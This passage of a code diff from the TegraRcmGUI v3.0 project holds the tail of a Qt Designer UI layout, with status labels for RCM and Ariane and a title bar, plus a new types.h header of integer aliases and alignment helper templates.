font: 9pt &quot;Calibri&quot;;</string>
</property>
<property name="text">
<string>DEVICE INFO</string>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
</widget>
</widget>
<widget class="QFrame" name="statusBoxFrame">
<property name="geometry">
<rect>
<x>10</x>
<y>40</y>
<width>171</width>
<height>101</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="frameShape">
<enum>QFrame::StyledPanel</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Raised</enum>
</property>
<widget class="QLabel" name="rcmStatusLbl">
<property name="geometry">
<rect>
<x>0</x>
<y>15</y>
<width>101</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;</string>
</property>
<property name="text">
<string>RCM status:</string>
</property>
<property name="alignment">
<set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QLabel" name="autoLaunchArianeLbl">
<property name="geometry">
<rect>
<x>0</x>
<y>40</y>
<width>101</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;
</string>
</property>
<property name="text">
<string>Ariane autoboot:</string>
</property>
<property name="alignment">
<set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QLabel" name="arianeStatusLbl">
<property name="geometry">
<rect>
<x>0</x>
<y>65</y>
<width>101</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;
</string>
</property>
<property name="text">
<string>Ariane status:</string>
</property>
<property name="alignment">
<set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
</property>
</widget>
</widget>
<widget class="QWidget" name="pushLayoutWidget" native="true">
<property name="geometry">
<rect>
<x>390</x>
<y>20</y>
<width>291</width>
<height>381</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">background-color: rgba(0,0,0,0)</string>
</property>
<layout class="QVBoxLayout" name="pushLayout">
<item>
<layout class="QVBoxLayout" name="push_layout"/>
</item>
</layout>
</widget>
<widget class="QFrame" name="titleBarFrame">
<property name="geometry">
<rect>
<x>-1</x>
<y>0</y>
<width>685</width>
<height>21</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="frameShape">
<enum>QFrame::StyledPanel</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Raised</enum>
</property>
<widget class="QLabel" name="titleBarLbl">
<property name="geometry">
<rect>
<x>10</x>
<y>0</y>
<width>151</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="text">
<string>TegraRcmGUI v3.0</string>
</property>
<property name="alignment">
<set>Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QPushButton" name="closeAppBtn">
<property name="geometry">
<rect>
<x>655</x>
<y>0</y>
<width>21</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="text">
<string>X</string>
</property>
</widget>
<widget class="MoveWindowWidget" name="moveWindowWidget" native="true">
<property name="geometry">
<rect>
<x>-1</x>
<y>0</y>
<width>651</width>
<height>20</height>
</rect>
</property>
</widget>
</widget>
<zorder>statusBoxFrame</zorder>
<zorder>tabWidget</zorder>
<zorder>devStatusFrame</zorder>
<zorder>rcmStatusFrame</zorder>
<zorder>arianeStatusFrame</zorder>
<zorder>verticalLayoutWidget</zorder>
<zorder>devInfoBox</zorder>
<zorder>deviceInfoFrame</zorder>
<zorder>pushLayoutWidget</zorder>
<zorder>titleBarFrame</zorder>
</widget>
<widget class="QStatusBar" name="statusbar">
<property name="styleSheet">
<string notr="true"/>
</property>
</widget>
</widget>
<customwidgets>
<customwidget>
<class>MoveWindowWidget</class>
<extends>QWidget</extends>
<header>qutils.h</header>
<container>1</container>
</customwidget>
</customwidgets>
<resources/>
<connections/>
</ui>

35
types.h
View file

@ -1,4 +1,39 @@
#ifndef TYPES_H
#define TYPES_H
#include <cstdint>
#include <vector>
#include <string>
#include <array>
using u64 = std::uint64_t;
using u32 = std::uint32_t;
using u16 = std::uint16_t;
using u8 = std::uint8_t;
using s64 = std::int64_t;
using s32 = std::int32_t;
using s16 = std::int16_t;
using s8 = std::int8_t;
using std::vector;
using std::string;
using std::array;
template<typename T, size_t ARR_SIZE>
size_t array_countof(T(&)[ARR_SIZE]) { return ARR_SIZE; }
template<typename T, typename Y>
T align_up(const T n, const Y align)
{
const T alignm1 = align - 1;
return (n + alignm1) & (~alignm1);
}
template<typename T, typename Y>
T align_down(const T n, const Y align)
{
const T alignm1 = align - 1;
return n & (~alignm1);
}
#endif // TYPES_H